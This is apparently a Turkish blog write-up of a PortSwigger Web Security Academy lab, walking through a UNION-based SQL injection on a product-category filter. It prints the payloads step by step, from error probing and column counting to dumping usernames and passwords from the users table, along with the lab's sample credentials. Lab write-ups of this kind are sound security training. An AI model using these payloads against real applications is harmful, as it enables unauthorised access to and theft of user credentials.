top of page

Lab: SQL injection UNION attack, retrieving data from other tables

  • Yazarın fotoğrafı: Songül ÖZÜGÜRLER
    Songül ÖZÜGÜRLER
  • 28 Nis
  • 2 dakikada okunur

Lab: SQL injection UNION attack, retrieving data from other tables

Lab: SQL injection UNION attack, retrieving data from other tables

Bu yazıda PortSwigger Web Security Academy’nin “SQL injection UNION attack, retrieving data from other tables” adlı labını nasıl çözdüğümü adım adım anlatacağım. Lab, gerçek dünya senaryolarını simüle eden harika bir ortam sunuyor. Hedefimiz basit: veritabanındaki users tablosundan tüm kullanıcı adı ve şifreleri çekip administrator hesabıyla giriş yapmak.

Laboratuvar Hakkında

Hedef: users tablosundaki tüm kullanıcı adı ve şifreleri UNION saldırısıyla çekmek ve administrator olarak giriş yapmak.

Bilinen bilgiler:

- Veritabanında users adlı bir tablo var

- Bu tabloda username ve password kolonları mevcut

- Uygulama ürün kategorisi filtresinde SQL injection açığı barındırıyor

İlk iş olarak hedef URL’e tek tırnak ( ' ) ekleyerek uygulamanın nasıl tepki verdiğini gözlemledim:

Lab: SQL injection UNION attack, retrieving data from other tables

Sonuç: Internal Server Error

Bu hata bize çok şey söylüyor. Uygulama girdiği ham olarak SQL sorgusuna gömdüğü için tek tırnak sorguyu bozdu ve veritabanı hata fırlattı. SQL injection açığının varlığını doğruladık.

Arka planda çalışan SQL sorgusu muhtemelen şuna benziyordu:

SELECT * FROM products WHERE category = ‘Lifestyle’’

Fazladan tırnak işareti sözdizimi bozdu → sunucu hata verdi.

UNION saldırısı yapabilmek için orijinal sorgunun kaç kolon döndürdüğünü bilmemiz gerekiyor. Bunun için NULL tekniğini kullandım:

‘ UNION SELECT NULL — —

Lab: SQL injection UNION attack, retrieving data from other tables

hata verdi 2. Nullu denedim

Lab: SQL injection UNION attack, retrieving data from other tables

çalıştı yani 2 kolon var hangisinin string taşıyıp taşımadığına bakalım

/filter?category=Lifestyle' UNION SELECT 'a',NULL--
Lab: SQL injection UNION attack, retrieving data from other tables

İlk kolon string değer taşıyor hata vermedi. İkinci kolona bakalım

/filter?category=Lifestyle' UNION SELECT NULL,'a'--

bu istekte hata vermedi yani iki kolonda string değer taşıyor

Lab: SQL injection UNION attack, retrieving data from other tables

şimdi direk username ve password değerlerini çekebiliriz

/filter?category=Lifestyle' UNION SELECT username, password FROM users--
Lab: SQL injection UNION attack, retrieving data from other tables

username ve password değerlerini aldık ve union saldırısını tamamladık

administrator : utg1bisq288kroe3nb58 wiener : 32gt4jidhvbgqy3naka0 carlos : pkdziov15ou45b42p6aq

admin olarak giriş yapıp labı bitiriyorum

Lab: SQL injection UNION attack, retrieving data from other tables

Saldırının Arkasındaki Mantık

Adım adım ne yaptığımızı özetleyelim:

| Step | Payload                                         | Purpose                   |
| ---- | ----------------------------------------------- | ------------------------- |
| 1 | `'`                                             | SQL hata testi            |
| 2    | `' UNION SELECT NULL--`                         | Kolon sayısı testi        |
| 3 | `' UNION SELECT NULL,NULL--`                    | Kolon sayısını doğrulama  |
| 4    | `' UNION SELECT 'a',NULL--`                     | String kolon tespiti      |
| 5 | `' UNION SELECT NULL,'a'--`                     | İkinci string kolon testi |
| 6    | `' UNION SELECT username,password FROM users--` | Hassas veriyi çekme       |

SQL Seviyesinde Ne Oldu?

Orijinal sorgu:

sql

SELECT name, description FROM products WHERE category = 'Lifestyle'

UNION payload’ı eklendikten sonra:

sql

SELECT name, description FROM products WHERE category = 'Lifestyle'
UNION
SELECT username, password FROM users--'

-- karakteri sonrasını yorum satırına aldı. Veritabanı hem products tablosundan hem de users tablosundan veri döndürdü. Uygulama bu veriyi ekranda gösterdiği için tüm kullanıcı bilgilerine ulaştık.

PortSwigger Web Security Academy ücretsiz ve harika bir öğrenme platformu. Bu tür lab’ları çözmek SQL injection mantığını kavramanın en etkili yolu.

Bir sonraki yazıda görüşmek üzere!🌸

 
 
bottom of page